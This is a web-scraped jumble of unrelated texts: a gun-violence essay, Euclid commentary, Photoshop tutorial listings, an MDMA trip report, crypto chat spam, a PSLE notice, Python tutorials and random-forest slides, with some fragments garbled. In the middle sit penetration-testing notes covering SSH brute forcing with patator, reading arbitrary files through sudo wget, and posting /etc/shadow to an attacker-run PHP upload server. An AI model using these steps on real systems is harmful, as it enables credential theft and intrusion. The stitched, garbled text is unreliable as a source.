When the world looks at the United States, it sees a land of exceptions: a time-tested if noisy democracy, a crusader in foreign policy, an exporter of beloved music and film. But there is one quirk that consistently puzzles America's fans and critics alike. Why, they ask, does it experience so many mass shootings?  Or its racial divisions have frayed the bonds of society. Or its citizens lack proper mental care under a health care system that draws frequent derision abroad.These explanations share one thing in common: Though seemingly sensible, all have been debunked by research on shootings elsewhere in the world. Instead, an ever-growing body of research consistently reaches the same conclusion. The only variable that can explain the high rate of mass shootings in America is its astronomical number of guns. And the mass shootings are getting deadlier, not more frequent.
The US is unique in two key- and related - ways when it comes to guns: It has way more gun deaths than other developed nations, and it has far higher levels of gun ownership than any other country in the world.
The US also has by far the highest number of privately owned guns in the world. Estimated for 2017, the number of civilian-owned firearms in the US was 120.5 guns per 100 residents, meaning there were more firearms than people. The world's second-ranked country was Yemen, a quasi-failed state torn by civil war, where there were 52.8 guns per 100 residents, according to an analysis from the Small Arms Survey.
 The effects of gun violence extend far beyond these casualties-gun violence shapes the lives of millions of Americans who witness it, know someone who was shot, or live in fear of the next shooting. The news stories and statements by political leaders write themselves, with only the location, name of the shooter and number of casualties changing. It all seems so routine. But this perception isn't because of some unprecedented rise in the rate of mass public shootings-far from it. They're roughly as common now as they were in the 1980s and '90s. And the data offer a stark finding: Over the past decade, mass public shootings haven't become particularly more prevalent, they've simply become deadlier.
A mass public shooting, as defined in one of the research, is any incident in which four or more victims are killed with a firearm within a 24-hour period at a public location in the absence of other criminal activity (robberies, drug deals, gang "turf wars"), military conflict or collective violence. For instance, last year's mass murder at the Pulse nightclub in Orlando would qualify, but the 1890 massacre at Wounded Knee would not, nor would a familicide in a private home, nor a shootout between rival gangs.
Military-style assault-style weapons have been blamed for some of the major mass shootings such as the attack in an Orlando nightclub and at the Sandy Hook School in Connecticut. Dozens of rifles were recovered from the scene of the Las Vegas shooting, Police reported.
Stronger gun laws could help address the problem. A 2016 review of 130 studies in 10 countries, published in Epidemiologic Reviews, found that new legal restrictions on owning and purchasing guns tended to be followed by a drop in gun violence - a strong indicator that restricting access to guns can save lives. A review of the US evidence by RAND also linked some gun control measures, including background checks, to reduced injuries and deaths. But America maintains some of the weakest gun laws in the developed world, effectively allowing civilians to own firearms at much greater levels than anywhere else. Until the US confronts that issue, it will continue seeing more gun deaths than the rest of the developed world.


Enumerating finger:
github.com/pentestmonkey/finger-user-enum
msf: auxiliary/scanner/finger/finger_users
if ssh has no key exchange method found, there's a flag for that:
ssh -okexAlgorithms=+<algorithm>
ssh -okexAlgorithms=+diffie-hellman-group1-sha1 -p 22022 <user>@host
Hydra doesn't work here...so let's use patator
github.com/lanjelot/patator
patator ssh_login host=<RHOST> port=<RPORT> user=<USER> password=FILE0 0=<PASS_FILE> persistent=0 -x ignore:mesg='Authentication failed.'
sudo wget -i <file> 2>&1 | awk '{print $4}'
Allows you to read any file (stderr to stdout for awk to get rid of errors that wget prints)
Auxiliary fun stuff
Just like with curl and olympus, we can use wget to post files to an exfil server
sudo wget --post-file=/etc/shadow <LHOST>/upload.php?filename=shadow
upload.php script to handle the connections:
<?php
$fname = basename($_REQUEST['filename']);
file_put_contents('upload/' . $fname, file_get_contents('php://input'));
?>
new user for security:
useradd ipp
chown ipp upload
su - ipp
umask settings - inverse of 777 and applies it to new files on the system
umask 555
now start the server
php -S <LHOST>:<LPORT> -t .


Come in and enjoy our lunch buffet for only $10.99. We serve it everyday from 11am-2pm! Voted best buffet in Franklin!
Breakfast buffet serving Monday - Friday. In a hurry? Take your buffet to go and enjoy it with a cup of Well's Coffee ☕🌮☀🍴🙌🏼
Servicing the WELL COFFEE daily at our breakfast buffet! In a hurry? Take your buffet to go😊🌮🍴☕


Note that a circle for Euclid is a two-dimensional figure. But in modern mathematics, usually the word circle refers to what Euclid calls the circumference of a circle.
|
The center of the circle in the diagram is the point C. It’s interesting that the English word “center” derives from the Greek word which also means a prod or a poker, and it refers to the fixed leg of a compass used to draw a circle. There is no assumption in the definition that there is only one center of a circle. Proposition III.1 gives a construction for the center of a circle, and the proof of that proposition shows that the center is unique. The (curved) line ABD that contains the circle is its circumference. Euclid typically names a circle by three points on its circumference. Perhaps a better translation than “circumference” would be “periphery” since that is the Greek word while “circumference” derives from the Latin. Euclid doesn’t have a term for radius other than “that from the center,” but radius is such a useful word that it is used here to translate “that from the center,” such as the radius CD. |
An example diameter is the line AB which passes through the center. Of course, a diameter is twice a radius, and since the radii are all equal to each other by definition, the diameters are also all equal to each other.
That diameters “also bisects the circle” should not be part of the definition, but either assumed as a postulate or proved as a proposition. It depends on the fact that circles are drawn on planes, and planes have constant curvature. The analogous figure on a surface of nonconstant curvature does not have this property. For such figures the two “semicircles” on either side of a “diameter” need not be equal.
Although circles are used throughout Book I to measure and transfer distances, the proper theory of circles doesn’t begin until Book III. That book begins with more definitions relating to circles including the equality of circles, when circles touch (are tangent to) lines and other circles, and so forth.


Use the markup below to try out the changed formatblock functionality. The Hn commands are all changed. Note that the status bar no longer shows Hn status and they don't work for undo/redo either.
Start with an inline div
(and here is a contained div)
then follow with a
text node followed by a span that contains some text then another text node


{% extends "base.html" %} {% block content %}
The GPU server is not connected. Check in the Connections tab.


Logic Tasks
AntCallBack
AntFetch
Assert
Foreach
For
If
Outoutdate
RunTarget
Switch
Throw
TimestampSelector
Trycatch
Network Tasks
HTTP Post
AntServer / RemoteAnt
Performance Monitoring and Tasks
Performance Monitor
Stopwatch
Platform Tasks
Osfamily
Shellscript
Property Tasks
Math
Propertycopy
PropertySelector
Pathtofileset
PropertyRegex
SortList
URLEncode
Variable
Process Tasks
Forget
Limit
Other Tasks
antclipse
CompileWithWalls
IniFile
VerifyDesign


AnimDessin2 for Photoshop
An introduction & reminder what AnimDessin2 is. How to install the extension, tips & tricks. What's new in this update: New Icons UI, Duplicate Frame Button, Easily Create a New Animation Line in the Timeline, Add and Export Timeline Comments
AnimDessin2 Overview
A shot introduction & what is AnimDessign2. I show you how to install this addon. Followed by how to use it in your workflow.
Animating in Photoshop with the Animdessin2 extension
This terrific toolset will help your Photoshop animation fly! This is a free extension by Stéphane Baril that optimises the Photoshop workspace for animation. Enjoy!
Photoshop Animation Series Part 1 | One’s, Two’s, and Squiggles
Do you love drawing? Do you often feel limited by the confines of software like After Effects? Do you ever look at a Buck or Giant Ant piece and wonder "How the heck did they do THAT?" We’ll will let you in on the secret; it's patience, practice, experience, and many times traditional animation techniques. ...
Photoshop Animation Series Part 2 | Infinite Timing
Remember how in Lesson 1 we talked a bit about 1 and 2 frame exposures? Now let's really get in there and see just how the difference between those two affects the look and feel of our animation. We're also going to talk about spacing, how to get things to look smooth, and have some fun with the different brushes Photoshop has to offer. ...
Photoshop Animation Series Part 3 | Adding Life with Eases
Everything eases… Well, unless that thing is some super crazy stiff robot chances are it moves with an ease. Maybe you're familiar with eases from hitting the F9 key in After Effects or from using a script to control them. ...
Photoshop Animation Series Part 4 | Making a Splash
So now it's time to start making some really cool stuff. This lesson we had some help from our good buddy and all around awesome guy, Rich Nosworthy. Rich helped out by providing us some proxy footage to animate over. If you don't know who Rich is, you should. You can check out his work here: link doesnt work ...
Photoshop Animation Series Part 5 | Rotoscoping and Details
It's time to wrap this animation up. In this lesson we'll start out by going over a few little loose ends that we didn't cover before; like importing footage into Photoshop and rotoscoping that footage. The kind of rotoscoping we'll be doing here is not quite the same as what you do in After Effects, but it's close, and as tedious as it may be it can save you A LOT of time. ...
Hand drawn workflow 1: Stabilising your scanned drawings in AE
When you scan your drawings with the document scanner you'll notice your page registration will go awry. Don't worry! After Effects can quickly fix that for you by lining up the hole-punch marks again.
Hand drawn workflow 2: Automated scan/drawing clean up in Photoshop
Importing your drawings into Photoshop, deleting the background and cleaning up the line work. This tutorial covers how to do this using actions and scripts and apply your settings to multiple layers (i.e. many frames at once). Automating boring and repetitive tasks is key to remaining a happy and productive animator!
Hand drawn workflow 3: Import your cleaned up frames into a video timeline
Once you've got your frames all clean and tidy you'll want to import them into a video timeline so you can keep animating or colour them. This tutorial covers making a video timeline and how to use Animdessin2 and the Animator's Toolbar to get your file set up.
Wombat animated in Photoshop by Sylvain Deboissy
Quick animation of a Wombat created in Photoshop by Sylvain Deboissy during his Master Class at Meet Ze Artists The purpose of this quick animation was to demonstrate the "AnimDessin" Photoshop Extension and talk about the animation… yes, he spoke at the same time 8¬) Thanks to him to allow me to use this animation to promote my extension :¬)
How to animate in Photoshop CC for beginners
Shane Dering
Shane Dering's involvement on projects is a rotation of numerous roles from animator,
illustrator, concept artist, graphic designer, to sound designer. In the past, Shane has
worked with Comedy Central, [adult swim], MTV, Snapchat, and Awesome Inc. on projects
ranging from animation and illustration on social media platforms, to writing designing and
animating pieces for on-air idents, TV shows, and movie marketing campaigns like 2017's
GHOST IN THE SHELL.
Easier Animating in Photoshop with AnimDessin2
Keby
Hiya! I made this video because not a lot of people seem to be aware of this really neat
extension, and it saved our lives in Uni as animators before we got TVPaint licenses. I
thought it'd be useful to people who animate for fun and have no need to fork over lots for
tvpaint/toonboom.
Animation in Photoshop - Furry Little Peach | Animating Great Artists ep 01
Ben Marriott
The first episode in a new series "Animating Great Artists," where I show motion designers
how to approach animating work of a variety of styles and show illustrators how to approach
animating their own work.
In this episode, I'm tackling the work of Furry Little Peach aka Sha'an d'Anthes. I go
through the process of animating frame by frame in photoshop and adding extra texture in
after effects. This tutorial is suitable for beginners - intermediate users. Please leave a
comment if you'd like me to explain anything I skimmed over. Enjoy and don’t forget to
thumbs up and subscrib
Walk Cycle in Photoshop & After Effects | Motion Design Workflow
Ben Marriott
In this After Effect & Photoshop workflow tutorial, I breakdown my process for creating this
walk cycle animation & creating that grain texture frame by frame. I'm using this amazing
illustration from the talented Sandro Rybak.


| DOSE: T+ 0:00 |
0.25 tablets |
oral |
MDMA |
(pill / tablet) |
| T+ 25:00 |
0.25 tablets |
oral |
MDMA |
(pill / tablet) |
| T+ 30:00 |
0.25 tablets |
oral |
MDMA |
(pill / tablet) |
| T+ 32:00 |
0.25 tablets |
oral |
MDMA |
(pill / tablet) |
On my second experience using Ecstacy I experienced a crash condition where I ended up taking more Ecstacy to cope with the feelings of sadness, depression and annoyance.
On this particular experience I originally took 1/4 of a fairly large tablet. I took the tablet at a house party where I was unfamiliar with the environment and the people in the environment. Despite the risks of taking such a drug in an unfamiliar environment I felt like I had a really good experience and ended up making a connection with the people that were present. I don't know whether this was because this was a unique group of individuals or if the ecstacy use allowed barriers to be removed that would otherwise have been present.
During the course of the party I also smoked a considerable amount of marijuana, and drank a small amount of alcohol. I was careful to drink plenty of water. I took the ecstacy around 2:00 am and stayed at the party until around 10:00 am. As I was leaving the party I started to experience feelings of great sadness. I was moving, and the chances of ever seeing the people that I felt I had made a strong connection were slim.
After returning home I managed to sleep for a few hours until around 8:00 pm. When I woke up my feelings of sadness were still present and felt even worse than they did before I went to sleep. I couldn't sleep any longer and I was having a hard time dealing with my confused feelings. At around 3:00 am I took another 1/4 of the pill in an attempt to aleviate the sad feelings I was experiencing. My intent was to have a personal trip where I would make a strong connection with myself.
As the effect of the ecstacy started to return I began to reflect on myself and the experience I had just had and the experience that I was currently having. After the elation of comming on to ecstacy I started to feel a little bit anxious and I decided to go for a walk. I occupied myself with exploring my environment while in my unfamiliar state of mind. After walking and exploring for 2 hours I felt tired and anxious and I wanted to go to sleep but I knew that I wouldn't be able to sleep. I returned home again and tried drinking a beer to help me relax. I eventually did relax and started having a good time again. Such a good time that I took another 1/4 of the pill at around 8:00 am. I continued feeling good and eventually took the last 1/4 of the pill at around 10:00 am.
After taking the final 1/4 of the pill I experienced a more intense experience than I had ever experienced on ecstacy (I had only taken it once before where I took half of a considerably smaller pill). I continued to have a somewhat pleasant experience until around 6:00 pm.
At this point in time I was feeling completely exhausted.  I also hadn't eaten since before I originally took the first dose over 40 hours prior. At this point I realized that I had been too harsh on my body and I needed to try and take care of myself. I started to feel really frightened because my heart rate felt like it was up and I felt completely fatigued although I couldn't calm down and sleep. I managed to eat some food although I had a really hard time getting it down. I also started drinking lots of water because I was feeling pretty dehydrated.
I went for another walk and bumped in to some friends. I managed to explain what my situation was and they talked me down a little bit and came home with me and talked with me and comforted me until I was able to sleep.
In hindsight it was both a positive and negative experience. It would have been ok if I hadn't gone so far and been so harsh on myself. I was essentially high for 46 hours with no food and only 10 hours of sleep. I think this experience reinforces the standard guidelines for taking drugs: be conscious of your state of mind before taking anything; have friends around that know what you have taken; be prepared for the effects of the drug and the effects of comming off of the drug.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


Dashboard
Add a Printer
App Settings
Getting Started Videos
User Manual
Report an App Issue
Store
About


If you love Telegram but don't want to leave Discord then you'll be pleased to find we've built a bridge in this channel. If you'd like to join the group in the Telegram app you can find it here: https://t.me/KomodoPlatform_Official.
[telegram] <Xmen55> Now all members Cancell all order sell
[telegram] <Mixic>
[telegram] <Acura360> 2x CRO Staking - OKEx
[telegram] <Acura360> Try Futures on OKEx
GatewayBOT11-Nov-19 05:51 AM
[telegram] <Xmen55> Big pump in huobi
[telegram] <Xmen55> Today
[telegram] <Xmen55> 30000 sat
[telegram] <Xmen55> Coming
[telegram] <Xmen55> Booooooooooom
[telegram] <Acura360> aha ok
GatewayBOT11-Nov-19 06:02 AM
[telegram] <Gplco> i cannot find any pump in houbi for kmd (re @Xmen55: Big pump in huobi)(edited)
[telegram] <omg_gawd> Welcome to binance . Other hand , people with low orders prolly got filled. (re @CrypptoJunkee: So there was a Komodo flash crash on Binance. Some people who had stop losses set will be very, very angry.)
KMD/BTC Komodo/Bitcoin Huobi Global bitcoin transaction page provides you with bitcoin today price trend chart and bitcoin exchangesto help you understand bitcoin real-time market more quickly.
[telegram] <Gplco> -1.43% (re @Xmen55: KMD pump in huobi)
[telegram] <Xmen55> Today
[telegram] <Gplco> you are jocking
[telegram] <Acura360> Can you please come down with your spam? (re @Xmen55: Booooooooom)
A wide variety of wallets can be used to securely store KMD assets, including desktop, mobile, hardware, and paper. Check out all the Komodo wallets here.
A wide variety of wallets can be used to securely store KMD assets, including desktop, mobile, hardware, and paper. Check out all the Komodo wallets here.
[telegram] <Acura360> Added the info for Wechat group Chinese
GatewayBOT11-Nov-19 07:44 AM
[telegram] <Xmen55> KMD=30000 soon
[telegram] <Xmen55> Wowwwwww
[telegram] <Xmen55> Big pump
[telegram] <Xmen55> Boooooooooommmmm
[telegram] <t_dan> Can you please stop this nonsense pumping?
[telegram] <Xmen55> Ok
[telegram] <Xmen55> Soory
[telegram] <Xmen55> Look tradingview
[telegram] <Xmen55> You can see
[telegram] <t_dan> We can see that Komodo is a good project with great technology and development.
[telegram] <Xmen55> I KMD
[telegram] <t_dan> That’s good!
GatewayBOT11-Nov-19 08:13 AM
[telegram] <Xmen55> I want hold
[telegram] <Xmen55> 5000 KMD 6 month
[telegram] <Xmen55> In huobi
[telegram] <Xmen55> I believe, KMD=10 usdt
[telegram] <Xmen55> In future
[telegram] <Acura360> Last warning and you will get kicked (re @Xmen55: Boooooooooommmmm)
[telegram] <Xmen55> Why
[telegram] <Xmen55> I KMD
[telegram] <Acura360> Because you spamming
[telegram] <Xmen55> KMD
[telegram] <Xmen55> Ok
[telegram] <Xmen55> Sorry
[telegram] <Lion_ashy> Sup (re @Acura360: Because you spamming)
[telegram] <Vollka_Racho> done, the info I have just shared in the WeChat group (re @Acura360: Added the info for Wechat group Chinese)(edited)
[telegram] <Lion_ashy> Can I open a group for my country?? (re @Vollka_Racho: done)
[telegram] <Vollka_Racho> yes you can, but maybe with the note Komodo xxxCountry (unofficial) (re @Lion_ashy: Can I open a group for my country??)(edited)
Near term look at the strong bounce today.
Bounce wave may have ended at blue 4,236
May hit the 4.618 before significant pullback.
If retrace starts, then keep an eye on the green zones.
Reaction at each fib line and zone will offer more clues.
Or if we surpass the blue 4.61...
GatewayBOT11-Nov-19 09:06 AM
[telegram] <Xmen55> Look now KMD
[telegram] <Xmen55> All analysis is good for kmd
[telegram] <Energi_TOM> If you want to take part in Chinese group on Wechat, please add my wechat you can check on Pined message!!
Read Komodo's development analysis report. A deep dive into Komodo cryptocurrency codebase using different development metrics.
[telegram] <Spionkop> Hi in the Chameleon wallet if I want to claim the reward do I have to send my tokens first is it safe to do i’ve never claimed before
[telegram] <Acura360> just click the claim button inside the wallet (re @Spionkop: Hi in the Chameleon wallet if I want to claim the reward do I have to send my tokens first is it safe to do i’ve never claimed before)
[telegram] <Spionkop> OK thank you I never do before (re @Acura360: just click the claim button inside the wallet)
GatewayBOT11-Nov-19 12:48 PM
[telegram] <Smith4488> Hot news @cse30global
GatewayBOT11-Nov-19 01:17 PM
[telegram] <Regnar> Highlight KMD and press the + button in the bottom right, there will be a claim rewards button there (re @Spionkop: OK thank you I never do before)


ADD NEW PRODUCTS
EDIT PRODUCTS
DISABLE PRODUCTS
MANAGE USERS
PENDING ORDERS {{ pendingOrders.length }}


PSLE results to be released on Nov 21
SINGAPORE: The Primary School Leaving Examination (PSLE) results for 2019 will be released on Nov 21, the Ministry of Education (MOE) and Singapore Examinations and Assessment Board (SEAB) said on Thursday.
Students may obtain their results from their respective primary schools from 11am, MOE and SEAB said in a press release.
Eligible students will receive option forms to select secondary schools when they collect their result slips.
Students can use the unique S1 Personal Identification Number (S1 PIN) on the form to submit their school options online from 11am next Thursday to 3pm on Nov 27 through MOE's website.
The option form can also be submitted through the student's primary school.
Submission at primary schools can be made during the following timeslots: 11am to 3pm on Nov 21 and 9am to 3pm on Nov 22, 25, 26 and 27.
SCHOOL POSTING RESULTS
Students will get the secondary school posting results on Dec 20 via three channels:
- Short Message Service (SMS) via a local mobile number;
- From MOE's website; or
- At the student's primary school.
Students are to report to the secondary schools they have been posted to on Dec 23 at 8.30am.
SPECIALISED SCHOOLS
Students who want to apply to specialised schools for Normal (Technical) students at Crest Secondary and Spectra Secondary can apply directly to these schools.
The application period is from 11am on Nov 21 to 3pm on Nov 27.
In addition, these students are also required to indicate their choices for other secondary schools under the usual posting process.
This will ensure that those who are not admitted into Crest or Spectra can be posted to another school of their choice in a "timely and seamless manner", MOE and SEAB said.
Those admitted to Crest or Spectra will be informed by the schools via mail and SMS by Dec 13.
More information can be found on the schools' websites and in the booklet entitled Choosing Your Secondary Schools.


social income health {border-style px;} #ffffff;} Health determinants NCDs. action low risk countries inequalities obesity NCDs alcohol socioeconomic Social development high life middle mortality Marmot causes countries, evidence factors px; risks stress {font-family conditions contribute control distribution font-size healthy BMJ Commission Lancet Public approach associated behaviours diet double; eating groups increase non-communicable Socioeconomic article border-color border-width children early follow gap including integrated likely long pollutants sectors solid; year {font-style {font-weight Bell Determinants NCDs, affluent age bold consumption countries. countries: courier; deprived diseases em; exposure gradient harm improve individual inequality levels linked major mental people physical policy pollution prevalence pt;} shows smoking, tackling unhealthy working


Add Supermarket Tesco in Houston All Left Picked n items left Name Quantity Unit Pieces Kilogram Liter Tomatoes (1kg) Avocado (6p) Milk (2L) Delete mode on (1p) Save


Social media, community engagement, public relations
Led by Craig Oda, former SVP of emerging brands at a global public relations firm and managing partner of a well-known social media firm. Experience working with 100+ startups in Silicon Valley as well as global B2B technology brands, including many of the biggest names in the Valley.
Boutique consulting firm in Palo Alto specializing in ongoing public relations and social media campaigns on retainer. We emphasize metric analysis as part of the campaigns and look at web analytics, social media metrics, and funnel conversion.
We focus on overall public relations campaigns for early stage technology companies and standalone social media and community campaigns for companies with 150+ employees.
Organize messages and positioning
Identify top media and analysts
Outreach to media
Produce content on social channels
Engage with community
Metrics reporting
Corporate blog management and writing
Contributed article placement and creation
| Activity | Process | Deliverable |
|---|---|---|
| Story development | Brainstorm with stakeholders. Analyze media trends. Research industry analysts. | Story descriptions that attract attention of key media, bloggers, and analysts. |
| Media relations | Identify key reporters and bloggers. Develop specific messages for each reporter. | Unique stories. |
| Analyst relations | Track key analysts in market. Review reports and media commentary. | Analyst briefings. Inclusion in analyst reports. |
| Speaking | Track speakers and speaking opportunities. Write summary of talk. Propose to organizers. | Lists of relevant speakers and shows. Speaking proposals. Speaking slots if accepted. |
| Activity | Process | Deliverable |
|---|---|---|
| Creative - Story development | Identify why the community should care about your product. Clarify market position of product or technology in the context of larger trends. | Written recommendations for messages that will engage community with example descriptions of different lengths. |
| Analysis - Competitor strength, weaknesses, best practices | Analyze full software adoption process for two competitors. | Written summary of findings. Presentation of recommendations. Written plan. |
| Content Production - Writing blog posts | Interview stakeholders. Record interview. Write 2- 3 blogs from interview | Self-publish blogs to community site. Can also try to place on third-party site. |
| Access - Make sure people can easily get access to the community | Analyze how easy it is for people to join the community and how they can participate. | Written recommendations. Can manage project to improve access. |
| Education - Develop written or video tutorials. | Compare tutorials to competitors or other company used as baseline. Can create tutorials with help of community. | Written plan. Can create short YouTube tutorials or written tutorials by working with the community. |
| Engagement - Meetup | Organize venue, participants, equipment for smaller events. Can provide onsite support to capture content at larger events. | Content produced at event from interaction with participants. If it is a smaller event, o3 Rocket can run the event. |
For many years, I focused on company launches, product launches, and rebrand launches. The initial idea for rocket came from a desire to help companies take off.
In the first PR company I worked it, we had a lot of toy rockets around the office. They were given to us as a barter for services from a man that used to build Hollywood movie sets but was getting squeezed out by digital special effects. He decided to change careers and build rockets. It was such an interesting story that reporters loved it. As a way of saying thanks, he shipped us a box of rockets.
Social Media


5.7. Other Numeric Types5.7.1. Boolean "Numbers"
Boolean types were added to Python starting in version 2.3. Although Boolean values are spelled "True" and "False," they are actually an integer subclass and will behave like integer values one and zero, respectively, if used in a numeric context. Here are some of the major concepts surrounding Boolean types:
All Python objects have an inherent true or False value. To see what they are for the built-in types, review the Core Note sidebar in Section 4.3.2. Here are some examples using Boolean values: # intro >>> bool(1) True >>> bool(True) True >>> bool(0) False >>> bool('1') True >>> bool('0') True >>> bool([]) False >>> bool ( (1,) ) True # using Booleans numerically >>> foo = 42 >>> bar = foo < 100 >>> bar True >>> print bar + 100 101 >>> print '%s' % bar True >>> print '%d' % bar 1 # no __nonzero__() >>> class C: pass >>> c = C() >>> >>> bool(c) True >>> bool(C) True # __nonzero__() overridden to return False >>> class C: ... def __nonzero__(self): ... return False ... >>> c = C() >>> bool(c) False >>> bool(C) True # OH NO!! (do not attempt) >>> True, False = False, True >>> bool(True) False >>> bool(False) True You can read more about Booleans in the Python documentation and PEP 285. 5.7.2. Decimal Floating Point NumbersDecimal floating point numbers became a feature of Python in version 2.4 (see PEP 327), mainly because statements like the following drive many (scientific and financial application) programmers insane (or at least enrage them): >>> 0.1 0.1000000000000001
Why is this? The reason is that most implementations of doubles in C are done as a 64-bit IEEE 754 number where 52 bits are allocated for the mantissa. So floating point values can only be specified to 52 bits of precision, and in situations where you have a(n endlessly) repeating fraction, expansions of such values in binary format are snipped after 52 bits, resulting in rounding errors like the above. The value .1 is represented by 0.11001100110011 ... * 2-3 because its closest binary approximation is .0001100110011 ..., or 1/16 + 1/32 + 1/256 + ... As you can see, the fractions will continue to repeat and lead to the rounding error when the repetition cannot "be continued." If we were to do the same thing using a decimal number, it looks much "better" to the human eye because they have exact and arbitrary precision. Note in the below that you cannot mix and match decimals and floating point numbers. You can create decimals from strings, integers, or other decimals. You must also import the decimal module to use the Decimal number class. >>> from decimal import Decimal >>> dec = Decimal(.1) Traceback (most recent call last): File "<stdin>", line 1, in ? File "/usr/local/lib/python2.4/decimal.py", line 523, in __new__ raise TypeError("Cannot convert float to Decimal. " + TypeError: Cannot convert float to Decimal. First convert the float to a string >>> dec = Decimal('.1') >>> dec Decimal("0.1") >>> print dec 0.1 >>> dec + 1.0 Traceback (most recent call last): File "<stdin>", line 1, in ? File "/usr/local/lib/python2.4/decimal.py", line 906, in __add__ other = _convert_other(other) File "/usr/local/lib/python2.4/decimal.py", line 2863, in _convert_other raise TypeError, "You can interact Decimal only with int, long or Decimal data types." TypeError: You can interact Decimal only with int, long or Decimal data types. >>> >>> dec + Decimal('1.0') Decimal("1.1") >>> print dec + Decimal('1.0') 1.1 You can read more about decimal numbers in the PEP as well as the Python documentation, but suffice it to say that they share pretty much the same numeric operators as the standard Python number types. Since it is a specialized numeric type, we will not include decimals in the remainder of this chapter. |


Gardaí arrest man after boy found dead in Limerick
by By David RaleighA major garda investigation is underway after the body of a boy was discovered in a house in Limerick city tonight.
It is believed that the boy, said to be aged 11, was found with multiple injuries.
Gardaí are treating his death as suspicious and are at the scene on the Shanabooly Road, Ballynanty.
A man in his late 20s has been arrested by gardaí in connection with the investigation.


Inheritance
A Child class can inherit variables and methods from a Parent class.
class Parent(object):
def __init__(self, argP1, argP2):
self.argP1 = argP1
self.argP2 = argP2
class Child(Parent):
def __init__(self, argP1, argP2, argC1):
Parent.__init__(self, argP1, argP2)
self.argC1 = argC1
class SuperChild(Parent):
def __init__(self, argP1, argP2, argC1):
super(SuperChild, self).__init__(argP1, argP2)
self.argC1 = argC1
Using super().__init__()
is a more reliable and forward compatible way of inheriting.
Class and Static Method
A class method allows you to call a class within the function. The class should have @classmethod
before it, and the first argument in a class method must be a call to the class itself.
A static method allows you to package related functions that don't need to be called on a class or instance. The class should have @staticmethod
before it, and the arguments can be empty.
@classmethod
def get_instances(cls):
yield cls.__refs__
@staticmethod
def get_allowable():
return allowable


The best way to communicate is via slack. Phone numbers have also been exchanged for more urgent matters
It will be expected for team members to notify eachother (perferably via the group channel in slack) as soon as they realize that they will be late. If someone is late without notice, the group will wait for ~10 minutes before starting the meeting.
If a person does not respond to a question within a resonable amount of time (reasonable is to be defined by the asker when stating when the answer is needed by) then the rest of the group has the ability to make the decision without him.
Generaly, as soon as possible. It won't be frowned upon to express doubt about meeting a deadline early, as doing so might prompt a change of strategy that could avoid a problem. Whenever possible, however, 24 hrs notice should be given.
As a general rule, we will try to follow airbnb's style guidlines which can be found here: https://github.com/airbnb/javascript


class: center, middle, inverse, title-slide # ETC3250: Random forests ## Semester 1, 2019 ###
Professor Di Cook
Econometrics and Business Statistics
Monash University ### Week 7 (a) --- class: split-30 layout: false .column[.pad10px[ ## Outline - .green[Bootstrap aggregation] ]] .column[.top50px[ - Take `\(B\)` different *bootstrapped* training sets: `$$D_1, D_2, \dots, D_B$$` - Build a separate prediction model using each `\(D_{(\cdot)}\)`: `$$\hat{f}_1(x), \hat{f}_2(x), \dots, \hat{f}_B(x)$$` - Combine resulting predictions, e.g. average `$$\hat{f}_{\text{avg}}(x) = \frac1B \sum_{b = 1}^{B} \hat{f}_b(x)$$` ]] --- class: split-30 layout: false .column[.pad10px[ ## Outline - .green[Bootstrap aggregation] - Bagging trees ]] .column[.top50px[ .orange[Bagged trees] - Construct `\(B\)` regression trees using `\(B\)` bootstrapped training sets, and average the resulting predictions. - Each individual tree has .orange[high variance, but low bias]. - Averaging these `\(B\)` trees .orange[reduces the variance]. - For classification trees, there are several possible aggregation methods, but the simplest is the **majority vote**. ]] --- class: split-30 layout: false .column[.pad10px[ ## Outline - .green[Bootstrap aggregation] - Bagging trees - Out-of-bag-error ]] .column[.top50px[ - .orange[No need to use (cross-)validation] to **estimate the test error** of a bagged model (**debatable by some**). - On average, each bagged tree makes use of around .orange[two-thirds of the observations]. (Check the textbook exercise.) - The remaining observations not used to fit a given bagged tree are referred to as the .orange[out-of-bag (OOB)] observations. - We can predict the response for the `\(i^{th}\)` observation using each of the trees in which that observation was OOB. This will yield around .orange[B/3 predictions] for the `\(i^{th}\)` observation. - To obtain a single prediction for the `\(i^{th}\)` observation, average these predicted responses (regression) or can take a majority vote (classification). ]] --- class: split-30 layout: false .column[.pad10px[ ## Outline - Bootstrap aggregation - .green[Random forests] - Algorithm ]] .column[.top50px[ 1. Input: `\(L = {(x_i, y_i), i=1, ..., n}, y_i \in \{1, ..., k\}, m < p\)`, number of variables chosen for each tree, `\(B\)` is the number of bootstrap samples. 2. For `\(b =1, 2, ..., B\)`: i. Draw a bootstrap sample, `\(L^{*b}\)` of size `\(n^{*b}\)` from `\(L\)`. ii. Grow tree classifier, `\(T^{*b}\)`. At each node use a random selection of `\(m\)` variables, and grow to maximum depth without pruning. iii. Predict the class of each case not drawn in `\(L^{*b}\)`. 3. Combine the predictions for each case, by majority vote, to give predicted class. ]] --- class: split-30 layout: false .column[.pad10px[ ## Outline - Bootstrap aggregation - .green[Random forests] - Algorithm - Diagnostics ]] .column[.top50px[
.orange[Useful by-products]
- Error is computed automatically on the out-of-bag cases. - .orange[Variable importance]: more complicated than one might think - .orange[Vote matrix], `\(n\times K\)`: Proportion of times a case is predicted to the class `\(k\)`. - .orange[Proximities], `\(n\times n\)`: Closeness of cases measured by how often they are in the same terminal node. ]] --- layout: true
.orange[Variable importance]
.row[.content[ 1.For every tree predict the oob cases and count the number of votes .orange[cast for the correct class]. ]] .row[.content[ 2..orange[Randomly permute] the values on a variable in the oob cases and predict the class for these cases. ]] .row[.content[ 3.Difference the votes for the correct class in the variable-permuted oob cases and the real oob cases. Average this number over all trees in the forest. If the .orange[value is large, then the variable is very important]. ]] .row[.content[ Alternatively, .orange[Gini importance] adds up the difference in impurity value of the descendant nodes with the parent node. Quick to compute. ]] --- class: fade-row2 fade-row3 fade-row4 count: false --- class: fade-row3 fade-row4 count: false --- class: fade-row4 count: false --- count: false --- layout: false .boxshadow[.orange[.content[ Vote matrix ]]] - .orange[Proportion of trees] the case is predicted to be each class, ranges between 0-1 - Can be used to .orange[identify troublesome] cases. - Used with plots of the actual data can help determine if it is the record itself that is the problem, or if method is biased. - Understand the difference in accuracy of prediction for different classes. --- layout: false
.orange[Proximities]
